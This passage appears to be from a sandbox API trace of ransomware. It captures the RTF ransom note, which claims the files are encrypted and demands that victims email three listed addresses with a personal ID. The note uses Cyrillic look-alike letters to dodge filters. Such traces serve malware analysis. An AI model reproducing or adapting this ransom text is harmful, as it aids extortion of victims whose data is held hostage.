d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.568] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 